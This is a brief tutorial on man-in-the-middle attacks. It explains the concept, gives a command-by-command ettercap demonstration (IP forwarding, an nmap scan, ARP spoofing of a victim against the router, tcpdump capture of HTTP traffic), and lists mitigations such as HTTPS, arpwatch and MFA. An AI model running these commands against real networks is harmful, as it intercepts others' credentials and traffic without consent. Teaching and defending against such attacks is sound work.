Man-in-the-Middle (MITM) Attack
1. What is a MITM Attack?
A Man-in-the-Middle (MITM) attack is a type of cyberattack where an attacker intercepts and possibly alters communication between two parties without their knowledge. The attacker can:
Eavesdrop on sensitive data (e.g., login credentials, banking details).
Modify messages between parties.
Impersonate a legitimate user or server.
2. How MITM Attacks Work
MITM attacks typically occur in the following steps:
Interception: The attacker places themselves between two communicating devices.
Decryption (if applicable): If encryption is used, the attacker may attempt SSL stripping or exploit weak encryption.
Data Manipulation: The attacker can modify traffic, inject malicious code, or redirect users to phishing websites.
Data Exfiltration: Sensitive information is stolen and used for further exploitation.
3. MITM Attack Demonstration (Using ettercap on Kali Linux)
ettercap on Kali Linux)Step 1: Setup the Attack
Ensure you have ettercap installed on your attacker machine (Kali Linux).
```bash sudo apt update && sudo apt install ettercap-text-only ```
Step 2: Enable IP Forwarding
Allow your machine to forward packets between devices.
```bash echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward ```
Step 3: Identify Target IPs
Scan the network to identify potential targets. Use nmap:
```bash sudo nmap -sn 192.168.1.0/24 # Adjust subnet as needed ```
Step 4: Launch ARP Spoofing
Run the MITM attack using ettercap.
```bash sudo ettercap -T -M arp -i eth0 /192.168.1.100// /192.168.1.1// ```
192.168.1.100: Victim's IP192.168.1.1: Router's IP
This tricks the victim into thinking the attacker's machine is the router.
Step 5: Capture Data
Use tcpdump or Wireshark to analyze the intercepted traffic:
```bash sudo tcpdump -i eth0 port 80 -A ```
4. How to Mitigate MITM Attacks
Use Strong Encryption: Always use HTTPS, SSH, VPNs to encrypt sensitive communication. Enable ARP Spoofing Detection: Tools like arpwatch detect spoofing attacks. Use Secure DNS: Configure DNSSEC to prevent rogue DNS attacks. Employ Network Segmentation: Separate critical network resources from user devices. Enforce Multi-Factor Authentication (MFA): Adds an extra layer of security even if credentials are compromised.